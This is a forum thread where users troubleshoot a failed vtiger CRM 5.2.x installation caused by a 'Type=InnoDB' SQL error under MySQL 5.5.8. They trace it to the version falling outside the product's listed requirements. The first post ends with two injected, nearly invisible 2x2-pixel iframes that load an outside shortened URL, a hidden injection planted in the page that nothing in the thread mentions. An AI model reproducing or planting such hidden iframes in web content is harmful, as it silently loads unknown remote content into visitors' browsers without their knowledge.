You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Type=InnoDB' at line 7Error: Tables partially created. Table creation failed.
I triple checked, step by step, my configuration and the wiki, the forum and extensively googled for 2 days.
I managed to successfully install vtiger in other environments in the past, but not the last version.
Windows web server 2008 fresh installation. Also tried php 5.2 and 5.3
I also wrote a reply in a topic for the vtiger 5.2.0 with the same error as mine.
Any hint would be gratly appreciated
Thank you! <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
Comments
running the 510-dunbsetup.php file i just get the header of the file.
really don't know what to try now.
i´m trying to install vtiger 5.2.1 in the following environment
wampserver 2.1a includes : apache 2.2.17, php 5.3.3, mysql 5.5.8 and phpmyadmin 3.2.0.1 and i get the following error:
"you have an error in your sql sintaxis, ......type = innodb at line 7 error; table partially created: table creation failed"
only one file was created: vtiger_asterisk incomingevents with 10 fields.
yes, i'm using mysql 5.5.8 for win 64 bit.
today i even tried deleting win server role as http server and installing (+ configuring) apache.
always the same result.
everything else is just working fine.
i'm done spending time on that...
i hope a developer can read this thread and give us some hint. i think this error will happen more and more with new installations w mysql 5.5.8
same for me.
it works now.
then i suppose that last version of vtiger doesn't plays well with the last version of mysql.
everybody please be aware
"you'll probably need an index for a foreign key, that you are declaring, in
older versions this isn't neccesary but in latest ones it is a restriction."
i am reading the mysql manual 5.5, trying to obtain more information, meanwhile i am working in mysql 5.1
i wouldn't say as stated in the system requirements, see
<!-- m --><a class="postlink" href="http://wiki.vtiger.com/index.php/vtiger521:windows_installation">http://wiki.vtiger.com/index.php/vtiger ... stallation</a><!-- m -->
if you knew that, you could have reported that in the forum allowing a lot of people saving a lot of time...
system requirements
•hardware: hosted.
•web server: apache 2.0.40 or above.
•database: mysql version 4.1.x through 5.1.x. [/b
]•php:php 5.0.x through 5.3.x.
•web browser: firefox 1.5.x and above, ie7
•operating system: debian 4.0/5.0, centos, ubuntu or fedora core/6/9